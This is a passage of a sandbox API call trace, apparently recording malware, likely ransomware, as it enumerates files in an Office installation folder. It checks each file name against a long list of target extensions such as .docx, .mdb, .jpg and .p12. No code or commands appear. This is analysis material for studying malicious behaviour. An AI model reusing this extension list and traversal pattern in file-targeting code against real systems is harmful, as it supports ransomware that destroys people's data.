	[0091.958] FindNextFileW (in: hFindFile=0x51d7a0, lpFindFileData=0x2ecf094 | out: lpFindFileData=0x2ecf094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe164800, ftCreationTime.dwHighDateTime=0x1cac048, ftLastAccessTime.dwLowDateTime=0x6b277670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe164800, ftLastWriteTime.dwHighDateTime=0x1cac048, nFileSizeHigh=0x0, nFileSizeLow=0x8b7b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ODeploy.exe", cAlternateFileName="")) returned 1
	[0091.958] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xfffe) returned 0x3f5c2c8
	[0091.958] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\*", lpFindFileData=0x2ecee18 | out: lpFindFileData=0x2ecee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc2600b20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc2600b20, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x51d8a0
	[0091.959] FindNextFileW (in: hFindFile=0x51d8a0, lpFindFileData=0x2ecee18 | out: lpFindFileData=0x2ecee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc2600b20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc2600b20, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0091.959] FindNextFileW (in: hFindFile=0x51d8a0, lpFindFileData=0x2ecee18 | out: lpFindFileData=0x2ecee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e9fff00, ftCreationTime.dwHighDateTime=0x1cba028, ftLastAccessTime.dwLowDateTime=0xc2600b20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3e9fff00, ftLastWriteTime.dwHighDateTime=0x1cba028, nFileSizeHigh=0x0, nFileSizeLow=0x3b78, dwReserved0=0x0, dwReserved1=0x0, cFileName="BRANDING.DLL", cAlternateFileName="")) returned 1
	[0091.959] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x3f482b8, Size=0x8000) returned 0x3f6c2d0
	[0091.961] FindNextFileW (in: hFindFile=0x51d8a0, lpFindFileData=0x2ecee18 | out: lpFindFileData=0x2ecee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe7c27050, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeefe5e10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe7c27050, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x15b5, dwReserved0=0x0, dwReserved1=0x0, cFileName="OfficeMUI.XML", cAlternateFileName="OFFICE~1.XML")) returned 1
	[0091.961] lstrlenW (lpString="OfficeMUI.XML") returned 13
	[0091.961] lstrlenW (lpString=".1cd") returned 4
	[0091.961] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1
	[0091.961] lstrlenW (lpString=".3ds") returned 4
	[0091.961] lstrcmpiW (lpString1=".3ds", lpString2=".XML") returned -1
	[0091.961] lstrlenW (lpString=".3fr") returned 4
	[0091.961] lstrcmpiW (lpString1=".3fr", lpString2=".XML") returned -1
	[0091.961] lstrlenW (lpString=".3g2") returned 4
	[0091.961] lstrcmpiW (lpString1=".3g2", lpString2=".XML") returned -1
	[0091.961] lstrlenW (lpString=".3gp") returned 4
	[0091.961] lstrcmpiW (lpString1=".3gp", lpString2=".XML") returned -1
	[0091.961] lstrlenW (lpString=".7z") returned 3
	[0091.961] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1
	[0091.961] lstrlenW (lpString=".accda") returned 6
	[0091.961] lstrcmpiW (lpString1=".accda", lpString2="UI.XML") returned -1
	[0091.961] lstrlenW (lpString=".accdb") returned 6
	[0091.961] lstrcmpiW (lpString1=".accdb", lpString2="UI.XML") returned -1
	[0091.961] lstrlenW (lpString=".accdc") returned 6
	[0091.961] lstrcmpiW (lpString1=".accdc", lpString2="UI.XML") returned -1
	[0091.961] lstrlenW (lpString=".accde") returned 6
	[0091.961] lstrcmpiW (lpString1=".accde", lpString2="UI.XML") returned -1
	[0091.961] lstrlenW (lpString=".accdt") returned 6
	[0091.961] lstrcmpiW (lpString1=".accdt", lpString2="UI.XML") returned -1
	[0091.961] lstrlenW (lpString=".accdw") returned 6
	[0091.961] lstrcmpiW (lpString1=".accdw", lpString2="UI.XML") returned -1
	[0091.962] lstrlenW (lpString=".adb") returned 4
	[0091.962] lstrcmpiW (lpString1=".adb", lpString2=".XML") returned -1
	[0091.962] lstrlenW (lpString=".adp") returned 4
	[0091.962] lstrcmpiW (lpString1=".adp", lpString2=".XML") returned -1
	[0091.962] lstrlenW (lpString=".ai") returned 3
	[0091.962] lstrcmpiW (lpString1=".ai", lpString2="XML") returned -1
	[0091.962] lstrlenW (lpString=".ai3") returned 4
	[0091.962] lstrcmpiW (lpString1=".ai3", lpString2=".XML") returned -1
	[0091.962] lstrlenW (lpString=".ai4") returned 4
	[0091.962] lstrcmpiW (lpString1=".ai4", lpString2=".XML") returned -1
	[0091.962] lstrlenW (lpString=".ai5") returned 4
	[0091.962] lstrcmpiW (lpString1=".ai5", lpString2=".XML") returned -1
	[0091.962] lstrlenW (lpString=".ai6") returned 4
	[0091.962] lstrcmpiW (lpString1=".ai6", lpString2=".XML") returned -1
	[0091.962] lstrlenW (lpString=".ai7") returned 4
	[0091.962] lstrcmpiW (lpString1=".ai7", lpString2=".XML") returned -1
	[0091.962] lstrlenW (lpString=".ai8") returned 4
	[0091.962] lstrcmpiW (lpString1=".ai8", lpString2=".XML") returned -1
	[0091.962] lstrlenW (lpString=".anim") returned 5
	[0091.962] lstrcmpiW (lpString1=".anim", lpString2="I.XML") returned -1
	[0091.962] lstrlenW (lpString=".arw") returned 4
	[0091.962] lstrcmpiW (lpString1=".arw", lpString2=".XML") returned -1
	[0091.962] lstrlenW (lpString=".as") returned 3
	[0091.963] lstrcmpiW (lpString1=".as", lpString2="XML") returned -1
	[0091.963] lstrlenW (lpString=".asa") returned 4
	[0091.963] lstrcmpiW (lpString1=".asa", lpString2=".XML") returned -1
	[0091.963] lstrlenW (lpString=".asc") returned 4
	[0091.963] lstrcmpiW (lpString1=".asc", lpString2=".XML") returned -1
	[0091.963] lstrlenW (lpString=".ascx") returned 5
	[0091.963] lstrcmpiW (lpString1=".ascx", lpString2="I.XML") returned -1
	[0091.963] lstrlenW (lpString=".asm") returned 4
	[0091.963] lstrcmpiW (lpString1=".asm", lpString2=".XML") returned -1
	[0091.963] lstrlenW (lpString=".asmx") returned 5
	[0091.963] lstrcmpiW (lpString1=".asmx", lpString2="I.XML") returned -1
	[0091.963] lstrlenW (lpString=".asp") returned 4
	[0091.963] lstrcmpiW (lpString1=".asp", lpString2=".XML") returned -1
	[0091.963] lstrlenW (lpString=".aspx") returned 5
	[0091.963] lstrcmpiW (lpString1=".aspx", lpString2="I.XML") returned -1
	[0091.963] lstrlenW (lpString=".asr") returned 4
	[0091.963] lstrcmpiW (lpString1=".asr", lpString2=".XML") returned -1
	[0091.963] lstrlenW (lpString=".asx") returned 4
	[0091.963] lstrcmpiW (lpString1=".asx", lpString2=".XML") returned -1
	[0091.963] lstrlenW (lpString=".avi") returned 4
	[0091.963] lstrcmpiW (lpString1=".avi", lpString2=".XML") returned -1
	[0091.963] lstrlenW (lpString=".avs") returned 4
	[0091.963] lstrcmpiW (lpString1=".avs", lpString2=".XML") returned -1
	[0091.963] lstrlenW (lpString=".backup") returned 7
	[0091.963] lstrcmpiW (lpString1=".backup", lpString2="MUI.XML") returned -1
	[0091.963] lstrlenW (lpString=".bak") returned 4
	[0091.963] lstrcmpiW (lpString1=".bak", lpString2=".XML") returned -1
	[0091.964] lstrlenW (lpString=".bay") returned 4
	[0091.964] lstrcmpiW (lpString1=".bay", lpString2=".XML") returned -1
	[0091.964] lstrlenW (lpString=".bd") returned 3
	[0091.964] lstrcmpiW (lpString1=".bd", lpString2="XML") returned -1
	[0091.964] lstrlenW (lpString=".bin") returned 4
	[0091.964] lstrcmpiW (lpString1=".bin", lpString2=".XML") returned -1
	[0091.964] lstrlenW (lpString=".bmp") returned 4
	[0091.964] lstrcmpiW (lpString1=".bmp", lpString2=".XML") returned -1
	[0091.964] lstrlenW (lpString=".bz2") returned 4
	[0091.964] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1
	[0091.964] lstrlenW (lpString=".c") returned 2
	[0091.964] lstrcmpiW (lpString1=".c", lpString2="ML") returned -1
	[0091.964] lstrlenW (lpString=".cdr") returned 4
	[0091.964] lstrcmpiW (lpString1=".cdr", lpString2=".XML") returned -1
	[0091.964] lstrlenW (lpString=".cer") returned 4
	[0091.964] lstrcmpiW (lpString1=".cer", lpString2=".XML") returned -1
	[0091.964] lstrlenW (lpString=".cf") returned 3
	[0091.964] lstrcmpiW (lpString1=".cf", lpString2="XML") returned -1
	[0091.964] lstrlenW (lpString=".cfc") returned 4
	[0091.964] lstrcmpiW (lpString1=".cfc", lpString2=".XML") returned -1
	[0091.964] lstrlenW (lpString=".cfm") returned 4
	[0091.964] lstrcmpiW (lpString1=".cfm", lpString2=".XML") returned -1
	[0091.964] lstrlenW (lpString=".cfml") returned 5
	[0091.964] lstrcmpiW (lpString1=".cfml", lpString2="I.XML") returned -1
	[0091.964] lstrlenW (lpString=".cfu") returned 4
	[0091.964] lstrcmpiW (lpString1=".cfu", lpString2=".XML") returned -1
	[0091.964] lstrlenW (lpString=".chm") returned 4
	[0091.964] lstrcmpiW (lpString1=".chm", lpString2=".XML") returned -1
	[0091.964] lstrlenW (lpString=".cin") returned 4
	[0091.965] lstrcmpiW (lpString1=".cin", lpString2=".XML") returned -1
	[0091.965] lstrlenW (lpString=".class") returned 6
	[0091.965] lstrcmpiW (lpString1=".class", lpString2="UI.XML") returned -1
	[0091.965] lstrlenW (lpString=".clx") returned 4
	[0091.965] lstrcmpiW (lpString1=".clx", lpString2=".XML") returned -1
	[0091.965] lstrlenW (lpString=".config") returned 7
	[0091.965] lstrcmpiW (lpString1=".config", lpString2="MUI.XML") returned -1
	[0091.965] lstrlenW (lpString=".cpp") returned 4
	[0091.965] lstrcmpiW (lpString1=".cpp", lpString2=".XML") returned -1
	[0091.965] lstrlenW (lpString=".cr2") returned 4
	[0091.965] lstrcmpiW (lpString1=".cr2", lpString2=".XML") returned -1
	[0091.965] lstrlenW (lpString=".crt") returned 4
	[0091.965] lstrcmpiW (lpString1=".crt", lpString2=".XML") returned -1
	[0091.965] lstrlenW (lpString=".crw") returned 4
	[0091.965] lstrcmpiW (lpString1=".crw", lpString2=".XML") returned -1
	[0091.965] lstrlenW (lpString=".cs") returned 3
	[0091.965] lstrcmpiW (lpString1=".cs", lpString2="XML") returned -1
	[0091.965] lstrlenW (lpString=".css") returned 4
	[0091.965] lstrcmpiW (lpString1=".css", lpString2=".XML") returned -1
	[0091.965] lstrlenW (lpString=".csv") returned 4
	[0091.965] lstrcmpiW (lpString1=".csv", lpString2=".XML") returned -1
	[0091.965] lstrlenW (lpString=".cub") returned 4
	[0091.965] lstrcmpiW (lpString1=".cub", lpString2=".XML") returned -1
	[0091.965] lstrlenW (lpString=".dae") returned 4
	[0091.965] lstrcmpiW (lpString1=".dae", lpString2=".XML") returned -1
	[0091.965] lstrlenW (lpString=".dat") returned 4
	[0091.965] lstrcmpiW (lpString1=".dat", lpString2=".XML") returned -1
	[0091.965] lstrlenW (lpString=".db") returned 3
	[0091.965] lstrcmpiW (lpString1=".db", lpString2="XML") returned -1
	[0091.966] lstrlenW (lpString=".dbf") returned 4
	[0091.967] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1
	[0091.967] lstrlenW (lpString=".dbx") returned 4
	[0091.967] lstrcmpiW (lpString1=".dbx", lpString2=".XML") returned -1
	[0091.967] lstrlenW (lpString=".dc3") returned 4
	[0091.967] lstrcmpiW (lpString1=".dc3", lpString2=".XML") returned -1
	[0091.967] lstrlenW (lpString=".dcm") returned 4
	[0091.967] lstrcmpiW (lpString1=".dcm", lpString2=".XML") returned -1
	[0091.967] lstrlenW (lpString=".dcr") returned 4
	[0091.967] lstrcmpiW (lpString1=".dcr", lpString2=".XML") returned -1
	[0091.967] lstrlenW (lpString=".der") returned 4
	[0091.967] lstrcmpiW (lpString1=".der", lpString2=".XML") returned -1
	[0091.967] lstrlenW (lpString=".dib") returned 4
	[0091.967] lstrcmpiW (lpString1=".dib", lpString2=".XML") returned -1
	[0091.967] lstrlenW (lpString=".dic") returned 4
	[0091.967] lstrcmpiW (lpString1=".dic", lpString2=".XML") returned -1
	[0091.967] lstrlenW (lpString=".dif") returned 4
	[0091.967] lstrcmpiW (lpString1=".dif", lpString2=".XML") returned -1
	[0091.967] lstrlenW (lpString=".divx") returned 5
	[0091.967] lstrcmpiW (lpString1=".divx", lpString2="I.XML") returned -1
	[0091.967] lstrlenW (lpString=".djvu") returned 5
	[0091.967] lstrcmpiW (lpString1=".djvu", lpString2="I.XML") returned -1
	[0091.967] lstrlenW (lpString=".dng") returned 4
	[0091.967] lstrcmpiW (lpString1=".dng", lpString2=".XML") returned -1
	[0091.968] lstrlenW (lpString=".doc") returned 4
	[0091.968] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1
	[0091.968] lstrlenW (lpString=".docm") returned 5
	[0091.968] lstrcmpiW (lpString1=".docm", lpString2="I.XML") returned -1
	[0091.968] lstrlenW (lpString=".docx") returned 5
	[0091.968] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1
	[0091.968] lstrlenW (lpString=".dot") returned 4
	[0091.968] lstrcmpiW (lpString1=".dot", lpString2=".XML") returned -1
	[0091.968] lstrlenW (lpString=".dotm") returned 5
	[0091.968] lstrcmpiW (lpString1=".dotm", lpString2="I.XML") returned -1
	[0091.968] lstrlenW (lpString=".dotx") returned 5
	[0091.968] lstrcmpiW (lpString1=".dotx", lpString2="I.XML") returned -1
	[0091.968] lstrlenW (lpString=".dpx") returned 4
	[0091.968] lstrcmpiW (lpString1=".dpx", lpString2=".XML") returned -1
	[0091.968] lstrlenW (lpString=".dqy") returned 4
	[0091.968] lstrcmpiW (lpString1=".dqy", lpString2=".XML") returned -1
	[0091.968] lstrlenW (lpString=".dsn") returned 4
	[0091.968] lstrcmpiW (lpString1=".dsn", lpString2=".XML") returned -1
	[0091.968] lstrlenW (lpString=".dt") returned 3
	[0091.968] lstrcmpiW (lpString1=".dt", lpString2="XML") returned -1
	[0091.968] lstrlenW (lpString=".dtd") returned 4
	[0091.968] lstrcmpiW (lpString1=".dtd", lpString2=".XML") returned -1
	[0091.968] lstrlenW (lpString=".dwg") returned 4
	[0091.968] lstrcmpiW (lpString1=".dwg", lpString2=".XML") returned -1
	[0091.968] lstrlenW (lpString=".dwt") returned 4
	[0091.968] lstrcmpiW (lpString1=".dwt", lpString2=".XML") returned -1
	[0091.968] lstrlenW (lpString=".dx") returned 3
	[0091.969] lstrcmpiW (lpString1=".dx", lpString2="XML") returned -1
	[0091.969] lstrlenW (lpString=".dxf") returned 4
	[0091.969] lstrcmpiW (lpString1=".dxf", lpString2=".XML") returned -1
	[0091.969] lstrlenW (lpString=".edml") returned 5
	[0091.969] lstrcmpiW (lpString1=".edml", lpString2="I.XML") returned -1
	[0091.969] lstrlenW (lpString=".efd") returned 4
	[0091.969] lstrcmpiW (lpString1=".efd", lpString2=".XML") returned -1
	[0091.969] lstrlenW (lpString=".elf") returned 4
	[0091.969] lstrcmpiW (lpString1=".elf", lpString2=".XML") returned -1
	[0091.969] lstrlenW (lpString=".emf") returned 4
	[0091.969] lstrcmpiW (lpString1=".emf", lpString2=".XML") returned -1
	[0091.969] lstrlenW (lpString=".emz") returned 4
	[0091.969] lstrcmpiW (lpString1=".emz", lpString2=".XML") returned -1
	[0091.969] lstrlenW (lpString=".epf") returned 4
	[0091.969] lstrcmpiW (lpString1=".epf", lpString2=".XML") returned -1
	[0091.969] lstrlenW (lpString=".eps") returned 4
	[0091.969] lstrcmpiW (lpString1=".eps", lpString2=".XML") returned -1
	[0091.969] lstrlenW (lpString=".epsf") returned 5
	[0091.969] lstrcmpiW (lpString1=".epsf", lpString2="I.XML") returned -1
	[0091.969] lstrlenW (lpString=".epsp") returned 5
	[0091.969] lstrcmpiW (lpString1=".epsp", lpString2="I.XML") returned -1
	[0091.969] lstrlenW (lpString=".erf") returned 4
	[0091.969] lstrcmpiW (lpString1=".erf", lpString2=".XML") returned -1
	[0091.969] lstrlenW (lpString=".exr") returned 4
	[0091.969] lstrcmpiW (lpString1=".exr", lpString2=".XML") returned -1
	[0091.969] lstrlenW (lpString=".f4v") returned 4
	[0091.969] lstrcmpiW (lpString1=".f4v", lpString2=".XML") returned -1
	[0091.969] lstrlenW (lpString=".fido") returned 5
	[0091.970] lstrcmpiW (lpString1=".fido", lpString2="I.XML") returned -1
	[0091.970] lstrlenW (lpString=".flm") returned 4
	[0091.970] lstrcmpiW (lpString1=".flm", lpString2=".XML") returned -1
	[0091.970] lstrlenW (lpString=".flv") returned 4
	[0091.970] lstrcmpiW (lpString1=".flv", lpString2=".XML") returned -1
	[0091.970] lstrlenW (lpString=".frm") returned 4
	[0091.970] lstrcmpiW (lpString1=".frm", lpString2=".XML") returned -1
	[0091.970] lstrlenW (lpString=".fxg") returned 4
	[0091.970] lstrcmpiW (lpString1=".fxg", lpString2=".XML") returned -1
	[0091.970] lstrlenW (lpString=".geo") returned 4
	[0091.970] lstrcmpiW (lpString1=".geo", lpString2=".XML") returned -1
	[0091.970] lstrlenW (lpString=".gif") returned 4
	[0091.970] lstrcmpiW (lpString1=".gif", lpString2=".XML") returned -1
	[0091.970] lstrlenW (lpString=".grs") returned 4
	[0091.970] lstrcmpiW (lpString1=".grs", lpString2=".XML") returned -1
	[0091.970] lstrlenW (lpString=".gz") returned 3
	[0091.970] lstrcmpiW (lpString1=".gz", lpString2="XML") returned -1
	[0091.970] lstrlenW (lpString=".h") returned 2
	[0091.970] lstrcmpiW (lpString1=".h", lpString2="ML") returned -1
	[0091.970] lstrlenW (lpString=".hdr") returned 4
	[0091.970] lstrcmpiW (lpString1=".hdr", lpString2=".XML") returned -1
	[0091.970] lstrlenW (lpString=".hpp") returned 4
	[0091.970] lstrcmpiW (lpString1=".hpp", lpString2=".XML") returned -1
	[0091.970] lstrlenW (lpString=".hta") returned 4
	[0091.970] lstrcmpiW (lpString1=".hta", lpString2=".XML") returned -1
	[0091.970] lstrlenW (lpString=".htc") returned 4
	[0091.970] lstrcmpiW (lpString1=".htc", lpString2=".XML") returned -1
	[0091.970] lstrlenW (lpString=".htm") returned 4
	[0091.970] lstrcmpiW (lpString1=".htm", lpString2=".XML") returned -1
	[0091.971] lstrlenW (lpString=".html") returned 5
	[0091.971] lstrcmpiW (lpString1=".html", lpString2="I.XML") returned -1
	[0091.971] lstrlenW (lpString=".icb") returned 4
	[0091.971] lstrcmpiW (lpString1=".icb", lpString2=".XML") returned -1
	[0091.971] lstrlenW (lpString=".ics") returned 4
	[0091.971] lstrcmpiW (lpString1=".ics", lpString2=".XML") returned -1
	[0091.971] lstrlenW (lpString=".iff") returned 4
	[0091.971] lstrcmpiW (lpString1=".iff", lpString2=".XML") returned -1
	[0091.971] lstrlenW (lpString=".inc") returned 4
	[0091.971] lstrcmpiW (lpString1=".inc", lpString2=".XML") returned -1
	[0091.971] lstrlenW (lpString=".indd") returned 5
	[0091.971] lstrcmpiW (lpString1=".indd", lpString2="I.XML") returned -1
	[0091.971] lstrlenW (lpString=".ini") returned 4
	[0091.971] lstrcmpiW (lpString1=".ini", lpString2=".XML") returned -1
	[0091.971] lstrlenW (lpString=".iqy") returned 4
	[0091.971] lstrcmpiW (lpString1=".iqy", lpString2=".XML") returned -1
	[0091.971] lstrlenW (lpString=".j2c") returned 4
	[0091.971] lstrcmpiW (lpString1=".j2c", lpString2=".XML") returned -1
	[0091.971] lstrlenW (lpString=".j2k") returned 4
	[0091.971] lstrcmpiW (lpString1=".j2k", lpString2=".XML") returned -1
	[0091.971] lstrlenW (lpString=".java") returned 5
	[0091.971] lstrcmpiW (lpString1=".java", lpString2="I.XML") returned -1
	[0091.971] lstrlenW (lpString=".jp2") returned 4
	[0091.971] lstrcmpiW (lpString1=".jp2", lpString2=".XML") returned -1
	[0091.971] lstrlenW (lpString=".jpc") returned 4
	[0091.971] lstrcmpiW (lpString1=".jpc", lpString2=".XML") returned -1
	[0091.971] lstrlenW (lpString=".jpe") returned 4
	[0091.971] lstrcmpiW (lpString1=".jpe", lpString2=".XML") returned -1
	[0091.972] lstrlenW (lpString=".jpeg") returned 5
	[0091.972] lstrcmpiW (lpString1=".jpeg", lpString2="I.XML") returned -1
	[0091.972] lstrlenW (lpString=".jpf") returned 4
	[0091.972] lstrcmpiW (lpString1=".jpf", lpString2=".XML") returned -1
	[0091.972] lstrlenW (lpString=".jpg") returned 4
	[0091.972] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1
	[0091.972] lstrlenW (lpString=".jpx") returned 4
	[0091.972] lstrcmpiW (lpString1=".jpx", lpString2=".XML") returned -1
	[0091.972] lstrlenW (lpString=".js") returned 3
	[0091.972] lstrcmpiW (lpString1=".js", lpString2="XML") returned -1
	[0091.972] lstrlenW (lpString=".jsf") returned 4
	[0091.972] lstrcmpiW (lpString1=".jsf", lpString2=".XML") returned -1
	[0091.972] lstrlenW (lpString=".json") returned 5
	[0091.972] lstrcmpiW (lpString1=".json", lpString2="I.XML") returned -1
	[0091.972] lstrlenW (lpString=".jsp") returned 4
	[0091.972] lstrcmpiW (lpString1=".jsp", lpString2=".XML") returned -1
	[0091.972] lstrlenW (lpString=".kdc") returned 4
	[0091.972] lstrcmpiW (lpString1=".kdc", lpString2=".XML") returned -1
	[0091.972] lstrlenW (lpString=".kmz") returned 4
	[0091.972] lstrcmpiW (lpString1=".kmz", lpString2=".XML") returned -1
	[0091.972] lstrlenW (lpString=".kwm") returned 4
	[0091.972] lstrcmpiW (lpString1=".kwm", lpString2=".XML") returned -1
	[0091.972] lstrlenW (lpString=".lasso") returned 6
	[0091.972] lstrcmpiW (lpString1=".lasso", lpString2="UI.XML") returned -1
	[0091.972] lstrlenW (lpString=".lbi") returned 4
	[0091.972] lstrcmpiW (lpString1=".lbi", lpString2=".XML") returned -1
	[0091.972] lstrlenW (lpString=".lgf") returned 4
	[0091.972] lstrcmpiW (lpString1=".lgf", lpString2=".XML") returned -1
	[0091.972] lstrlenW (lpString=".lgp") returned 4
	[0091.973] lstrcmpiW (lpString1=".lgp", lpString2=".XML") returned -1
	[0091.973] lstrlenW (lpString=".log") returned 4
	[0091.973] lstrcmpiW (lpString1=".log", lpString2=".XML") returned -1
	[0091.973] lstrlenW (lpString=".m1v") returned 4
	[0091.973] lstrcmpiW (lpString1=".m1v", lpString2=".XML") returned -1
	[0091.973] lstrlenW (lpString=".m4a") returned 4
	[0091.973] lstrcmpiW (lpString1=".m4a", lpString2=".XML") returned -1
	[0091.973] lstrlenW (lpString=".m4v") returned 4
	[0091.974] lstrcmpiW (lpString1=".m4v", lpString2=".XML") returned -1
	[0091.975] lstrlenW (lpString=".max") returned 4
	[0091.976] lstrcmpiW (lpString1=".max", lpString2=".XML") returned -1
	[0091.976] lstrlenW (lpString=".md") returned 3
	[0091.976] lstrcmpiW (lpString1=".md", lpString2="XML") returned -1
	[0091.977] lstrlenW (lpString=".mda") returned 4
	[0091.977] lstrcmpiW (lpString1=".mda", lpString2=".XML") returned -1
	[0091.977] lstrlenW (lpString=".mdb") returned 4
	[0091.977] lstrcmpiW (lpString1=".mdb", lpString2=".XML") returned -1
	[0091.977] lstrlenW (lpString=".mde") returned 4
	[0091.977] lstrcmpiW (lpString1=".mde", lpString2=".XML") returned -1
	[0091.977] lstrlenW (lpString=".mdf") returned 4
	[0091.977] lstrcmpiW (lpString1=".mdf", lpString2=".XML") returned -1
	[0091.977] lstrlenW (lpString=".mdw") returned 4
	[0091.977] lstrcmpiW (lpString1=".mdw", lpString2=".XML") returned -1
	[0091.977] lstrlenW (lpString=".mef") returned 4
	[0091.977] lstrcmpiW (lpString1=".mef", lpString2=".XML") returned -1
	[0091.977] lstrlenW (lpString=".mft") returned 4
	[0091.977] lstrcmpiW (lpString1=".mft", lpString2=".XML") returned -1
	[0091.977] lstrlenW (lpString=".mfw") returned 4
	[0091.977] lstrcmpiW (lpString1=".mfw", lpString2=".XML") returned -1
	[0091.977] lstrlenW (lpString=".mht") returned 4
	[0091.977] lstrcmpiW (lpString1=".mht", lpString2=".XML") returned -1
	[0091.977] lstrlenW (lpString=".mhtml") returned 6
	[0091.977] lstrcmpiW (lpString1=".mhtml", lpString2="UI.XML") returned -1
	[0091.977] lstrlenW (lpString=".mka") returned 4
	[0091.977] lstrcmpiW (lpString1=".mka", lpString2=".XML") returned -1
	[0091.977] lstrlenW (lpString=".mkidx") returned 6
	[0091.978] lstrcmpiW (lpString1=".mkidx", lpString2="UI.XML") returned -1
	[0091.978] lstrlenW (lpString=".mkv") returned 4
	[0091.978] lstrcmpiW (lpString1=".mkv", lpString2=".XML") returned -1
	[0091.978] lstrlenW (lpString=".mos") returned 4
	[0091.978] lstrcmpiW (lpString1=".mos", lpString2=".XML") returned -1
	[0091.978] lstrlenW (lpString=".mov") returned 4
	[0091.978] lstrcmpiW (lpString1=".mov", lpString2=".XML") returned -1
	[0091.978] lstrlenW (lpString=".mp3") returned 4
	[0091.978] lstrcmpiW (lpString1=".mp3", lpString2=".XML") returned -1
	[0091.978] lstrlenW (lpString=".mp4") returned 4
	[0091.978] lstrcmpiW (lpString1=".mp4", lpString2=".XML") returned -1
	[0091.978] lstrlenW (lpString=".mpeg") returned 5
	[0091.978] lstrcmpiW (lpString1=".mpeg", lpString2="I.XML") returned -1
	[0091.978] lstrlenW (lpString=".mpg") returned 4
	[0091.979] lstrcmpiW (lpString1=".mpg", lpString2=".XML") returned -1
	[0091.979] lstrlenW (lpString=".mpv") returned 4
	[0091.979] lstrcmpiW (lpString1=".mpv", lpString2=".XML") returned -1
	[0091.979] lstrlenW (lpString=".mrw") returned 4
	[0091.979] lstrcmpiW (lpString1=".mrw", lpString2=".XML") returned -1
	[0091.979] lstrlenW (lpString=".msg") returned 4
	[0091.979] lstrcmpiW (lpString1=".msg", lpString2=".XML") returned -1
	[0091.979] lstrlenW (lpString=".mxl") returned 4
	[0091.979] lstrcmpiW (lpString1=".mxl", lpString2=".XML") returned -1
	[0091.979] lstrlenW (lpString=".myd") returned 4
	[0091.979] lstrcmpiW (lpString1=".myd", lpString2=".XML") returned -1
	[0091.979] lstrlenW (lpString=".myi") returned 4
	[0091.979] lstrcmpiW (lpString1=".myi", lpString2=".XML") returned -1
	[0091.979] lstrlenW (lpString=".nef") returned 4
	[0091.979] lstrcmpiW (lpString1=".nef", lpString2=".XML") returned -1
	[0091.979] lstrlenW (lpString=".nrw") returned 4
	[0091.979] lstrcmpiW (lpString1=".nrw", lpString2=".XML") returned -1
	[0091.979] lstrlenW (lpString=".obj") returned 4
	[0091.979] lstrcmpiW (lpString1=".obj", lpString2=".XML") returned -1
	[0091.979] lstrlenW (lpString=".odb") returned 4
	[0091.979] lstrcmpiW (lpString1=".odb", lpString2=".XML") returned -1
	[0091.979] lstrlenW (lpString=".odc") returned 4
	[0091.979] lstrcmpiW (lpString1=".odc", lpString2=".XML") returned -1
	[0091.979] lstrlenW (lpString=".odm") returned 4
	[0091.979] lstrcmpiW (lpString1=".odm", lpString2=".XML") returned -1
	[0091.979] lstrlenW (lpString=".odp") returned 4
	[0091.979] lstrcmpiW (lpString1=".odp", lpString2=".XML") returned -1
	[0091.979] lstrlenW (lpString=".ods") returned 4
	[0091.979] lstrcmpiW (lpString1=".ods", lpString2=".XML") returned -1
	[0091.980] lstrlenW (lpString=".oft") returned 4
	[0091.980] lstrcmpiW (lpString1=".oft", lpString2=".XML") returned -1
	[0091.980] lstrlenW (lpString=".one") returned 4
	[0091.980] lstrcmpiW (lpString1=".one", lpString2=".XML") returned -1
	[0091.980] lstrlenW (lpString=".onepkg") returned 7
	[0091.980] lstrcmpiW (lpString1=".onepkg", lpString2="MUI.XML") returned -1
	[0091.980] lstrlenW (lpString=".onetoc2") returned 8
	[0091.980] lstrcmpiW (lpString1=".onetoc2", lpString2="eMUI.XML") returned -1
	[0091.980] lstrlenW (lpString=".opt") returned 4
	[0091.980] lstrcmpiW (lpString1=".opt", lpString2=".XML") returned -1
	[0091.980] lstrlenW (lpString=".oqy") returned 4
	[0091.980] lstrcmpiW (lpString1=".oqy", lpString2=".XML") returned -1
	[0091.980] lstrlenW (lpString=".orf") returned 4
	[0091.980] lstrcmpiW (lpString1=".orf", lpString2=".XML") returned -1
	[0091.980] lstrlenW (lpString=".p12") returned 4
	[0091.980] lstrcmpiW (lpString1=".p12", lpString2=".XML") returned -1
	[0091.980] lstrlenW (lpString=".p7b") returned 4
